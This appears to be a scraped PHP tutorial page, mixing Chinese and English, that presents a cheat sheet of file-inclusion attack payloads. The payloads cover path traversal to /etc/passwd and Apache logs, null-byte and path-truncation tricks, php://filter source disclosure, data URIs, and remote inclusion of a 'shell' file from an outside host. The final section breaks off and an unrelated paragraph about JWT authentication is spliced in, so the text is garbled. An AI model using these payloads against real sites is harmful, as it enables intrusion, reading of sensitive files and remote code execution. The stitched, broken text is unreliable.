About PHP files containing some vulnerability analysis_PHP tutorial
The article briefly analyzes a vulnerability in inlcude when php files are included. I hope it will be of some use to everyone.
Basic file inclusion vulnerability:
代码如下 | 复制代码 |
* 包含同路径下的文件: ?file=.htaccess * 路径遍历: ?file=../../../../../../../../../var/lib/locate.db (该文件非常有趣因为它允许你搜索文件系统) * 包含注入PHP代码的文件: ?file=../../../../../../../../../var/log/apache/error.log (you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.) |
Restricted local files include:
代码如下 | 复制代码 |
* 空字符注入(Null Byte Injection): ?file=../../../../../../../../../etc/passwd%00 (需要magic_quotes_gpc=off) * 列目录(Null Byte Injection): ?file=../../../../../../../../../var/www/accounts/%00 (仅限BSD, 需要magic_quotes_gpc=off,详细信息here) *路径截断(Path Truncation): ?file=../../../../../../../../../etc/passwd........... … (详细信息参见 here 和 here) * 点号截断: ?file=../../../../../../../../../etc/passwd……………. … (仅限Windows, 更多细节参见 here) |
Basic remote files include:
The code is as follows | Copy code | ||||||||
* Including Remote Code:
(specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On) * Using PHP stream php://filter: ?file=php://filter/convert.base64-encode/resource=index.php (lets you read PHP source because it wont get evaluated in base64. More details here and here) * Using data URIs: ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= (requires allow_url_include=On) |
Restricted remote file inclusion vulnerability
代码如下 | 复制代码 |
* ?file=http://websec.wordpress.com/shell * ?file=http://websec.wordpress.com/shell.txt? * ?file=http://websec.wordpress.com/shell.txt%23 (需要 allow_url_fopen=On 和 allow_url_include=On) |
Static remote file inclusion vulnerability:
The code is as follows

JWT is an open standard based on JSON, used to securely transmit information between parties, mainly for identity authentication and information exchange. 1. JWT consists of three parts: Header, Payload and Signature. 2. The working principle of JWT includes three steps: generating JWT, verifying JWT and parsing Payload. 3. When using JWT for authentication in PHP, JWT can be generated and verified, and user role and permission information can be included in advanced usage. 4. Common errors include signature verification failure, token expiration, and payload oversized. Debugging skills include using debugging tools and logging. 5. Performance optimization and best practices include using appropriate signature algorithms, setting validity periods reasonably,
